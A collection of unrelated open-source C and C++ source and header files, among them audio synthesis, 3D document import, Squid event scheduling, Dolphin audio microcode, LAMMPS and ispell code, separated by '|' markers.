*
* scratch buffer for log output
*/
#ifndef HAVE_SCRATCH_H
#define HAVE_SCRATCH_H
#include <stdarg.h>
#include <pthread.h>
typedef struct scratch_buffer_s scratch_buffer_t;
#define SCRATCH_LINE_LEN_MAX 1024
struct scratch_buffer_s {
void XINE_FORMAT_PRINTF(2, 0)
(*scratch_printf) (scratch_buffer_t *self, const char *format, va_list ap);
char **(*get_content) (scratch_buffer_t *self);
void (*dispose) (scratch_buffer_t *self);
char **lines;
char **ordered;
int num_lines;
int cur;
pthread_mutex_t lock;
};
scratch_buffer_t *_x_new_scratch_buffer (int num_lines) XINE_MALLOC XINE_PROTECTED;
#endif
|
#ifndef K3DSDK_IDOCUMENT_IMPORTER_H
#define K3DSDK_IDOCUMENT_IMPORTER_H
// K-3D
// Copyright (c) 1995-2010, Timothy M. Shead
//
// Contact: tshead@k-3d.com
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// General Public License for more details.
//
// You should have received a copy of the GNU General Public
// License along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
/** \file
\author Tim Shead (tshead@k-3d.com)
*/
#include <k3dsdk/imetadata.h>
#include <k3dsdk/iunknown.h>
namespace k3d
{
class idocument;
namespace filesystem { class path; }
/// Abstract interface for objects that can import data into an existing K-3D document
class idocument_importer :
public virtual iunknown
{
public:
virtual ~idocument_importer() {}
/// Return metadata extracted from the file.
virtual imetadata::metadata_t get_file_metadata(const filesystem::path& File) = 0;
/// Read the file data into a document.
virtual bool_t read_file(const filesystem::path& File, idocument& Document) = 0;
protected:
idocument_importer() {}
idocument_importer(const idocument_importer&) {}
idocument_importer& operator = (const idocument_importer&) { return *this; }
};
} // namespace k3d
#endif // !K3DSDK_IDOCUMENT_IMPORTER_H
|
/*
** Copyright (C) 1998-2010 George Tzanetakis <gtzan@cs.uvic.ca>
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef MARSYAS_APDELAYOSC_H
#define MARSYAS_APDELAYOSC_H
#include "MarSystem.h"
namespace Marsyas
{
/**
\class APDelayOsc
\ingroup Synthesis
\brief A non-aliasing analog oscillator algorithm
This is a non-aliasing virtual analog oscillator algorithm.
For the saw algorithm the output of the fractional delay is fed back into
the delay line. This creates a perceptually harmonic spectrum that
approximates having all the harmonics at equal power up to the Nyquist
frequency. The saw algorithm ends up having a considerable DC offset, that
is removed by subtracting frequency/Samplerate from each sample. Finally
the leaky integrator is used to apply an exponential decay to the frequency
spectrum.
The saw wave is generated in a similar way, but we don't need to worry
about any DC offset. The only real difference is the square algorithm is
that we negate the samples as we feed them back into the delay line. This
will generate a spectrum containing the even harmonics. The one other side
effect of this as that we double our period, so we must shorten the delay
line to compensate.
TODO: Add triangle wave
TODO: Add ability to modulate pitch.
This could be done using two read pointers
and a cross fader.
It could also be done by changing the delay time
at the end of each cycle.
Controls:
- \b mrs_real/frequency [w] : sets the frequency of the wave.
- \b mrs_natural/type [w] : sets the oscillator type. (saw = 0, square = 1).
- \b mrs_bool/noteon [w] : turns on the oscillator
*/
class APDelayOsc: public MarSystem
{
private:
// Add specific controls needed by this MarSystem.
void addControls();
// Reads changed controls and sets up variables if necessary.
void myUpdate(MarControlPtr sender);
class FirstOrderAllPass
{
private:
mrs_real y, y1;
mrs_real x, x1;
mrs_real a, d;
public:
void delay(mrs_real din)
{
d = din;
a = (1 - d)/(1 + d);
y1 = x1 = 0;
}
mrs_real get_delay()
{
return d;
}
mrs_real operator()(mrs_real x)
{
y = (a * x) + (x1 - (a * y1));
x1 = x;
y1 = y;
return y;
}
};
class LeakyIntegrator
{
private:
mrs_real y, y1;
mrs_real x;
mrs_real e;
public:
LeakyIntegrator(): e(0.003) {}
void leaky(mrs_real amount)
{
e = amount;
}
mrs_real operator()(mrs_real x)
{
y = x + ((1 - e) * y1);
y1 = y;
return y;
}
};
class DCBlocker
{
private:
mrs_real y, y1;
mrs_real x, x1;
mrs_real R;
public:
DCBlocker(): R(0.995) {}
mrs_real operator()(mrs_real x)
{
y = x - x1 + (R * y1);
y1 = y;
x1 = x;
return y;
}
};
mrs_real frequency_;
mrs_natural delaylineSize_;
realvec delayline_;
mrs_real dc_;
mrs_real frac_;
mrs_real israte_; // Sample rate of the system
mrs_real dcoff_; // The precalculated DC offset
mrs_real neg_; // Used to invert the system if
// only even harmonics are wanted
FirstOrderAllPass ap1;
FirstOrderAllPass ap2; // The tuning filter
DCBlocker dcb;
LeakyIntegrator le1;
mrs_natural wp_; // Write Pointer
mrs_natural rp_; // Read pointer one
mrs_natural rpp_; // Read pointer two
mrs_natural N_; // The delayline length for our current pitch
mrs_natural type_; // The current type of the oscillator
mrs_bool noteon_;
mrs_real allPass(mrs_real x);
mrs_real leakyIntegrator(mrs_real x);
mrs_real dcBlocker(mrs_real x);
public:
// APDelayOsc constructor.
APDelayOsc(std::string name);
// APDelayOsc copy constructor.
APDelayOsc(const APDelayOsc& a);
// APDelayOsc destructor.
~APDelayOsc();
// Implementation of the MarSystem::clone() method.
MarSystem* clone() const;
// Implementation of the MarSystem::myProcess method.
void myProcess(realvec& in, realvec& out);
};
}
//namespace Marsyas
#endif
//MARSYAS_MARSYSTEMTEMPLATEBASIC_H
|
/* signals.c: handle some signals (currently SIGINT, SIGTSTP, SIGCHLD) */
# include <stdlib.h>
# include <signal.h>
# include <sys/types.h>
# include <sys/wait.h>
# include "../sharedlib/dhlist.h"
# include "../sharedlib/strmod.h"
# include "../rssh/rserrors.h"
static dhlist running_processes; /* a copy of the running processes */
static dhlist background_processes; /* a copy of the background processes */
static dhlist diagnostic_messages; /* a list of informational messages */
static void
kill_running_processes (int signum)
{ /* handler of SIGINT */
dhlist cur;
switch (signum) {
case SIGINT:
/* in case of SIGINT kill any running process */
for (cur = dhlist_first (running_processes);
cur != dhlist_end (running_processes); cur = dhlist_next (cur))
kill ((int) dhlist_data (cur), SIGINT);
/* and clear up the lists */
for (cur = dhlist_first (running_processes);
cur != dhlist_end (running_processes);
cur = dhlist_first (running_processes))
dhlist_remove (running_processes, cur);
for (cur = dhlist_first (background_processes);
cur != dhlist_end (background_processes);
cur = dhlist_first (background_processes))
dhlist_remove (background_processes, cur);
return;
default:
return;
}
}
static int
pid_cmp (void *op1, void *op2)
{ /* compare two pid_ts */
return (pid_t) op1 - (pid_t)op2;
}
static void
bg_process_terminated (int signum)
{ /* handler of SIGCHLD */
pid_t pid;
int status;
dhlist cur;
char *msg = NULL;
switch (signum) {
case SIGCHLD:
/* if no child process has terminated */
if ((pid = waitpid (-1, &status, WNOHANG)) <= 0)
return;
/* check if the process that terminated was run on background */
cur = dhlist_find (background_processes, (void *) pid, pid_cmp);
if (cur == NULL) /* if no, ignore it */
return;
/* if yes, check its status upon exit */
if (WIFEXITED (status) && !WEXITSTATUS (status)) {
msg = Sprintf ("\n[+] %d: Done.\n", pid);
}
else msg = Sprintf ("[-] %d\n", pid);
/* remove it from the list */
dhlist_remove (background_processes, cur);
cur = dhlist_find (running_processes, (void *) pid, pid_cmp);
dhlist_remove (running_processes, cur);
if (msg != NULL)
dhlist_append (diagnostic_messages, msg);
return;
default:
return;
}
}
int
handle_signals (dhlist rp, dhlist bgp, dhlist messages)
{ /* signals wrapper */
struct sigaction *bg;
/* create a sigaction struct to use with SIGCHLD handler */
if ((bg = (struct sigaction *) malloc (sizeof (struct sigaction))) == NULL)
return (RS_errno = RSE_NOMEM);
bg -> sa_handler = bg_process_terminated;
bg -> sa_flags = SA_NOCLDSTOP; /* raise only when a child terminated */
running_processes = rp;
background_processes = bgp;
diagnostic_messages = messages;
if (signal (SIGTSTP, SIG_IGN) == SIG_ERR /* ignore SIGTSTP */
|| signal (SIGINT, kill_running_processes) == SIG_ERR
|| sigaction (SIGCHLD, bg, NULL) == -1)
return (RS_errno = RSE_SIGNALS);
return RSE_OK;
}
|
#ifndef _DS1077L_H_
#define _DS1077L_H_
#include <argp.h>
#include <stdint.h>
#include <stdbool.h>
/* Addresses, structures and other shit as adapted from the spec sheet for the
* Maxim DS1077L oscillator. For definitive data consult the spec sheet:
* http://datasheets.maximintegrated.com/en/ds/DS1077L.pdf
*/
/* stuff */
#define I2C_BUS_DEVICE "/dev/i2c-1"
typedef struct ds1077l_common_args {
uint16_t address;
char *bus_dev;
bool verbose;
} ds1077l_common_args_t;
/* If memory serves I'm not supposed to do this. */
extern const struct argp common_argp;
extern const struct argp_option common_options[];
int handle_get(char* dev, uint8_t addr);
error_t parse_common_opts (int key, char *arg, struct argp_state *state);
void dump_common_opts (ds1077l_common_args_t* common_args);
#endif // #ifndef _DS1077L_H_
|
/* vim: set sw=8: -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*- */
/*
* god-image.h: MS Office Graphic Object support
*
* Author:
* Michael Meeks (michael@ximian.com)
* Jody Goldberg (jody@gnome.org)
* Christopher James Lahey <clahey@ximian.com>
*
* (C) 1998-2003 Michael Meeks, Jody Goldberg, Chris Lahey
*/
#ifndef GOD_IMAGE_H
#define GOD_IMAGE_H
#include <glib-object.h>
#include <glib.h>
#include <goffice/drawing/god-property-table.h>
#include <goffice/drawing/god-anchor.h>
#include <goffice/drawing/god-text-model.h>
#ifdef GOFFICE_WITH_GTK
#include <gdk-pixbuf/gdk-pixbuf.h>
#endif
G_BEGIN_DECLS
#define GOD_TYPE_IMAGE (god_image_get_type ())
#define GOD_IMAGE(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), GOD_TYPE_IMAGE, GodImage))
#define GOD_IMAGE_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), GOD_TYPE_IMAGE, GodImageClass))
#define GOD_IS_IMAGE(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), GOD_TYPE_IMAGE))
#define GOD_IS_IMAGE_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), GOD_TYPE_IMAGE))
typedef struct GodImagePrivate_ GodImagePrivate;
typedef struct {
GObject parent;
GodImagePrivate *priv;
} GodImage;
typedef struct {
GObjectClass parent_class;
} GodImageClass;
GType god_image_get_type (void);
GodImage *god_image_new (void);
#ifdef GOFFICE_WITH_GTK
GdkPixbuf *god_image_get_pixbuf (GodImage *image);
#endif
/* Instead of setting the pixbuf, you set the image data. */
void god_image_set_image_data (GodImage *image,
const char *format,
const guint8 *data,
guint32 length);
G_END_DECLS
#endif /* GOD_IMAGE_H */
|
/*
* include/asm-s390/sigcontext.h
*
* S390 version
* Copyright (C) 1999,2000 IBM Deutschland Entwicklung GmbH, IBM Corporation
*/
#ifndef _ASM_S390_SIGCONTEXT_H
#define _ASM_S390_SIGCONTEXT_H
#include <asm/s390-regs-common.h>
/*
Has to be at least _NSIG_WORDS from asm/signal.h
*/
#define _SIGCONTEXT_NSIG 64
#define _SIGCONTEXT_NSIG_BPW 32
/* Size of stack frame allocated when calling signal handler. */
#define __SIGNAL_FRAMESIZE STACK_FRAME_OVERHEAD
#define _SIGCONTEXT_NSIG_WORDS (_SIGCONTEXT_NSIG / _SIGCONTEXT_NSIG_BPW)
#define SIGMASK_COPY_SIZE (sizeof(unsigned long)*_SIGCONTEXT_NSIG_WORDS)
typedef struct
{
s390_regs_common regs;
s390_fp_regs fpregs;
} sigregs;
struct sigcontext
{
unsigned long oldmask[_SIGCONTEXT_NSIG_WORDS];
sigregs *sregs;
};
#endif
|
/****************************************************************************
**
** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the examples of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial Usage
** Licensees holding valid Qt Commercial licenses may use this file in
** accordance with the Qt Commercial License Agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Nokia.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
** $QT_END_LICENSE$
**
****************************************************************************/
#ifndef WINDOW_H
#define WINDOW_H
#include <QtGui/QGraphicsWidget>
//! [0]
class Window : public QGraphicsWidget {
Q_OBJECT
public:
Window(QGraphicsWidget *parent = 0);
};
//! [0]
#endif //WINDOW_H
|
/**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/OfficeImport.framework/OfficeImport
*/
#import <OfficeImport/ODICycle5.h>
__attribute__((visibility("hidden")))
@interface ODIGear1 : ODICycle5 {
}
+ (unsigned)nodeCountWithState:(id)state; // 0x2b3189
+ (void)mapStyleForTransition:(id)transition shape:(id)shape state:(id)state; // 0x2b3165
@end
|
#include <psd_base.h>
#include "pf_lib.h"
static void
clear_before_outers()
{
}
static void
clear_each_outer ()
{
}
static void
clear_between_outers()
{
}
static void
clear_after_outers()
{
}
static void
clear_each_text()
{
}
static void
clear_before_block()
{
}
static void
clear_after_block()
{
}
static void
clear_before_sources()
{
}
static void
clear_between_sources()
{
}
static void
clear_after_sources()
{
}
static void
clear_before_composite()
{
}
static void
clear_after_composite()
{
}
static void
clear_each_composite_column()
{
iterate_composite_column->done = FALSE;
}
static void
clear_between_composite_columns()
{
}
static void
clear_before_reconstructed()
{
}
static void
clear_after_reconstructed()
{
}
static void
clear_each_reconstructed_column()
{
iterate_reconstructed_column->done = FALSE;
}
static void
clear_between_reconstructed_columns()
{
}
static void
clear_before_source()
{
}
static void
clear_after_source()
{
}
static void
clear_each_source_column()
{
iterate_source_column->done = FALSE;
}
static void
clear_between_source_columns()
{
}
static void
clear_before_notes()
{
}
static void
clear_each_note()
{
}
static void
clear_after_notes()
{
}
Process_functions pf_clear = {
NULL, NULL,
clear_before_outers,
clear_each_outer,
clear_between_outers,
clear_after_outers,
clear_each_text,
clear_before_block,
clear_after_block,
clear_before_sources,
clear_between_sources,
clear_after_sources,
clear_before_composite,
clear_after_composite,
clear_each_composite_column,
clear_between_composite_columns,
clear_before_reconstructed,
clear_after_reconstructed,
clear_each_reconstructed_column,
clear_between_reconstructed_columns,
clear_before_source,
clear_after_source,
clear_each_source_column,
clear_between_source_columns,
clear_before_notes,
clear_each_note,
clear_after_notes,
};
|
/*
* linux/arch/sh/kernel/pci-bigsur.c
*
* By Dustin McIntire (dustin@sensoria.com) (c)2001
*
* Ported to new API by Paul Mundt <lethal@linux-sh.org>.
*
* May be copied or modified under the terms of the GNU General Public
* License. See linux/COPYING for more information.
*
* PCI initialization for the Hitachi Big Sur Evaluation Board
*/
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/init.h>
#include <linux/pci.h>
#include <asm/io.h>
#include "pci-sh4.h"
#include <asm/bigsur/bigsur.h>
#define BIGSUR_PCI_IO 0x4000
#define BIGSUR_PCI_MEM 0xfd000000
static struct resource sh7751_io_resource = {
.name = "SH7751 IO",
.start = BIGSUR_PCI_IO,
.end = BIGSUR_PCI_IO + (64*1024) - 1,
.flags = IORESOURCE_IO,
};
static struct resource sh7751_mem_resource = {
.name = "SH7751 mem",
.start = BIGSUR_PCI_MEM,
.end = BIGSUR_PCI_MEM + (64*1024*1024) - 1,
.flags = IORESOURCE_MEM,
};
extern struct pci_ops sh7751_pci_ops;
struct pci_channel board_pci_channels[] = {
{ &sh4_pci_ops, &sh7751_io_resource, &sh7751_mem_resource, 0, 0xff },
{ 0, }
};
static struct sh4_pci_address_map sh7751_pci_map = {
.window0 = {
.base = SH7751_CS3_BASE_ADDR,
.size = BIGSUR_LSR0_SIZE,
},
.window1 = {
.base = SH7751_CS3_BASE_ADDR,
.size = BIGSUR_LSR1_SIZE,
},
};
/*
* Initialize the Big Sur PCI interface
* Setup hardware to be Central Funtion
* Copy the BSR regs to the PCI interface
* Setup PCI windows into local RAM
*/
int __init pcibios_init_platform(void)
{
return sh7751_pcic_init(&sh7751_pci_map);
}
int __init pcibios_map_platform_irq(struct pci_dev *pdev, u8 slot, u8 pin)
{
/*
* The Big Sur can be used in a CPCI chassis, but the SH7751 PCI
* interface is on the wrong end of the board so that it can also
* support a V320 CPI interface chip... Therefor the IRQ mapping is
* somewhat use dependent... I'l assume a linear map for now, i.e.
* INTA=slot0,pin0... INTD=slot3,pin0...
*/
int irq = (slot + pin-1) % 4 + BIGSUR_SH7751_PCI_IRQ_BASE;
PCIDBG(2, "PCI: Mapping Big Sur IRQ for slot %d, pin %c to irq %d\n",
slot, pin-1+'A', irq);
return irq;
}
|
/*
* $Id$
*
*
* SQUID Web Proxy Cache http://www.squid-cache.org/
* ----------------------------------------------------------
*
* Squid is the result of efforts by numerous individuals from
* the Internet community; see the CONTRIBUTORS file for full
* details. Many organizations have provided support for Squid's
* development; see the SPONSORS file for full details. Squid is
* Copyrighted (C) 2001 by the Regents of the University of
* California; see the COPYRIGHT file for full details. Squid
* incorporates software developed and/or copyrighted by other
* sources; see the CREDITS file for full details.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, USA.
*
*/
#ifndef SQUID_EVENT_H
#define SQUID_EVENT_H
#include "squid.h"
#include "Array.h"
#include "AsyncEngine.h"
/* forward decls */
class StoreEntry;
/* event scheduling facilities - run a callback after a given time period. */
typedef void EVH(void *);
extern void eventAdd(const char *name, EVH * func, void *arg, double when, int, bool cbdata=true);
SQUIDCEXTERN void eventAddIsh(const char *name, EVH * func, void *arg, double delta_ish, int);
SQUIDCEXTERN void eventDelete(EVH * func, void *arg);
SQUIDCEXTERN void eventInit(void);
SQUIDCEXTERN void eventFreeMemory(void);
SQUIDCEXTERN int eventFind(EVH *, void *);
class ev_entry
{
public:
ev_entry(char const * name, EVH * func, void *arg, double when, int weight, bool cbdata=true);
~ev_entry();
MEMPROXY_CLASS(ev_entry);
const char *name;
EVH *func;
void *arg;
double when;
int weight;
bool cbdata;
ev_entry *next;
};
MEMPROXY_CLASS_INLINE(ev_entry);
// manages time-based events
class EventScheduler : public AsyncEngine
{
public:
EventScheduler();
~EventScheduler();
/* cancel a scheduled but not dispatched event */
void cancel(EVH * func, void * arg);
/* clean up the used memory in the scheduler */
void clean();
/* how long until the next event ? */
int checkDelay();
/* cache manager output for the event queue */
void dump(StoreEntry *);
/* find a scheduled event */
bool find(EVH * func, void * arg);
/* schedule a callback function to run in when seconds */
void schedule(const char *name, EVH * func, void *arg, double when, int weight, bool cbdata=true);
int checkEvents(int timeout);
static EventScheduler *GetInstance();
private:
static EventScheduler _instance;
ev_entry * tasks;
};
#endif /* SQUID_EVENT_H */
|
// Copyright (C) 2003 Dolphin Project.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, version 2.0.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License 2.0 for more details.
// A copy of the GPL 2.0 should have been included with the program.
// If not, see http://www.gnu.org/licenses/
// Official Git repository and contact information can be found at
// http://code.google.com/p/dolphin-emu/
#ifndef _UCODE_NEWAXWII_H
#define _UCODE_NEWAXWII_H
#include "UCode_AX.h"
class CUCode_NewAXWii : public CUCode_AX
{
public:
CUCode_NewAXWii(DSPHLE *dsp_hle, u32 _CRC);
virtual ~CUCode_NewAXWii();
virtual void DoState(PointerWrap &p);
protected:
int m_samples_auxC_left[32 * 3];
int m_samples_auxC_right[32 * 3];
int m_samples_auxC_surround[32 * 3];
// Wiimote buffers
int m_samples_wm0[6 * 3];
int m_samples_aux0[6 * 3];
int m_samples_wm1[6 * 3];
int m_samples_aux1[6 * 3];
int m_samples_wm2[6 * 3];
int m_samples_aux2[6 * 3];
int m_samples_wm3[6 * 3];
int m_samples_aux3[6 * 3];
// Convert a mixer_control bitfield to our internal representation for that
// value. Required because that bitfield has a different meaning in some
// versions of AX.
AXMixControl ConvertMixerControl(u32 mixer_control);
virtual void HandleCommandList();
void SetupProcessing(u32 init_addr);
void ProcessPBList(u32 pb_addr);
void MixAUXSamples(int aux_id, u32 write_addr, u32 read_addr, u16 volume);
void OutputSamples(u32 lr_addr, u32 surround_addr, u16 volume);
void OutputWMSamples(u32* addresses); // 4 addresses
private:
enum CmdType
{
CMD_SETUP = 0x00,
CMD_UNK_01 = 0x01,
CMD_UNK_02 = 0x02,
CMD_UNK_03 = 0x03,
CMD_PROCESS = 0x04,
CMD_MIX_AUXA = 0x05,
CMD_MIX_AUXB = 0x06,
CMD_MIX_AUXC = 0x07,
CMD_UNK_08 = 0x08,
CMD_UNK_09 = 0x09,
CMD_UNK_0A = 0x0A,
CMD_OUTPUT = 0x0B,
CMD_UNK_0C = 0x0C,
CMD_WM_OUTPUT = 0x0D,
CMD_END = 0x0E
};
};
#endif // _UCODE_AXWII
|
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by Aqua.rc
//
#define IDI_ICON1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
|
/**
* Sailfish OS Factory Snapshot Update
* Copyright (C) 2015 Jolla Ltd.
* Contact: Thomas Perl <thomas.perl@jolla.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
**/
#include "sfmf.h"
#include "convert.h"
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>
int main(int argc, char *argv[])
{
char buf[1024*1024*2];
memset(buf, 0, sizeof(buf));
FILE *fp = fopen("/dev/urandom", "r");
fread(buf+1024*1024, sizeof(buf)-1024*1024, 1, fp);
fclose(fp);
FILE *uncompressed = fopen("uncompressed", "w");
convert_buffer_fp(buf, sizeof(buf), uncompressed, CONVERT_FLAG_NONE);
fclose(uncompressed);
FILE *zcompressed = fopen("zcompressed", "w");
convert_buffer_fp(buf, sizeof(buf), zcompressed, CONVERT_FLAG_ZCOMPRESS);
fclose(zcompressed);
struct SFMF_FileHash a_hash;
char a[100];
memset(&a_hash, 0, sizeof(a_hash));
convert_file_hash("uncompressed", &a_hash, CONVERT_FLAG_NONE);
sfmf_filehash_format(&a_hash, a, sizeof(a));
printf("Got uncompressed hash: %s (%d)\n", a, a_hash.size);
struct SFMF_FileHash b_hash;
char b[100];
memset(&b_hash, 0, sizeof(b_hash));
convert_file_hash("zcompressed", &b_hash, CONVERT_FLAG_ZUNCOMPRESS);
sfmf_filehash_format(&b_hash, b, sizeof(b));
printf("Got zcompressed hash: %s (%d)\n", a, b_hash.size);
unlink("uncompressed");
unlink("zcompressed");
assert(sfmf_filehash_compare(&a_hash, &b_hash) == 0);
return 0;
}
|
/* -*- c++ -*- ----------------------------------------------------------
LAMMPS - Large-scale Atomic/Molecular Massively Parallel Simulator
https://lammps.sandia.gov/, Sandia National Laboratories
Steve Plimpton, sjplimp@sandia.gov
Copyright (2003) Sandia Corporation. Under the terms of Contract
DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains
certain rights in this software. This software is distributed under
the GNU General Public License.
See the README file in the top-level LAMMPS directory.
------------------------------------------------------------------------- */
#ifdef FIX_CLASS
FixStyle(EVENT/PRD,FixEventPRD)
#else
#ifndef LMP_FIX_EVENT_PRD_H
#define LMP_FIX_EVENT_PRD_H
#include "fix_event.h"
namespace LAMMPS_NS {
class FixEventPRD : public FixEvent {
public:
int event_number; // event counter
bigint event_timestep; // timestep of last event on any replica
bigint clock; // total elapsed timesteps across all replicas
int replica_number; // replica where last event occurred
int correlated_event; // 1 if last event was correlated, 0 otherwise
int ncoincident; // # of simultaneous events on different replicas
FixEventPRD(class LAMMPS *, int, char **);
~FixEventPRD() {}
void write_restart(FILE *);
void restart(char *);
// methods specific to FixEventPRD, invoked by PRD
void store_event_prd(bigint, int);
private:
};
}
#endif
#endif
/* ERROR/WARNING messages:
E: Illegal ... command
Self-explanatory. Check the input script syntax and compare to the
documentation for the command. You can use -echo screen as a
command-line option when running LAMMPS to see the offending line.
*/
|
/* This file is part of the KDE project
* Copyright (C) 2009 Pierre Stirnweiss <pstirnweiss@googlemail.com>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#ifndef REVIEWTOOL_H
#define REVIEWTOOL_H
class KoCanvasBase;
class KoPointerEvent;
class KoTextEditor;
class KoTextShapeData;
class KoViewConverter;
class TextShape;
class KAction;
class QPainter;
class QKeyEvent;
template <class T> class QVector;
/// This tool allows to manipulate the tracked changes of a document. You can accept or reject changes.
#include <TextTool.h>
class ReviewTool : public TextTool
{
Q_OBJECT
public:
explicit ReviewTool(KoCanvasBase *canvas);
~ReviewTool();
virtual void mouseReleaseEvent(KoPointerEvent* event);
virtual void mouseMoveEvent(KoPointerEvent* event);
virtual void mousePressEvent(KoPointerEvent* event);
virtual void paint(QPainter& painter, const KoViewConverter& converter);
virtual void keyPressEvent(QKeyEvent* event);
virtual void activate(ToolActivation toolActivation, const QSet<KoShape*> &shapes);
virtual void deactivate();
virtual void createActions();
virtual QList<QPointer<QWidget> > createOptionWidgets();
public Q_SLOTS:
void removeAnnotation();
private:
KoTextEditor *m_textEditor;
KoTextShapeData *m_textShapeData;
KoCanvasBase *m_canvas;
TextShape *m_textShape;
KAction *m_removeAnnotationAction;
KoShape *m_currentAnnotationShape;
};
#endif // REVIEWTOOL_H
|
#ifndef _SYS_CDEFS_H
#define _SYS_CDEFS_H 1
#define __tos_libc 1
#endif
|
/* Copyright (C) 1990, 1993 Free Software Foundation, Inc.
This file is part of GNU ISPELL.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
#include <stdio.h>
#ifdef MSDOS
#include <stdlib.h>
#include <io.h>
#endif
#include <fcntl.h>
#include <ctype.h>
#include "ispell.h"
#include "hash.h"
#include "good.h"
#ifndef _toupper
#define _toupper toupper
#endif
#ifndef _tolower
#define _tolower tolower
#endif
void
fixcase (word, c)
char *word;
struct sp_corrections *c;
{
int i;
int rest_case;
int first_case;
char *p;
if (isupper (word[0]))
{
first_case = 1;
if (isupper (word[1]))
rest_case = 1;
else
rest_case = 0;
}
else
{
first_case = 0;
rest_case = 0;
}
for (i = 0; i < c->nwords; i++)
{
p = c->posbuf[i];
if (first_case)
{
if (islower (*p))
*p = toupper (*p);
}
else
{
if (isupper (*p))
*p = tolower (*p);
}
p++;
while (*p)
{
if (rest_case)
{
if (islower (*p))
*p = toupper (*p);
}
else
{
if (isupper (*p))
*p = tolower (*p);
}
p++;
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <string.h>
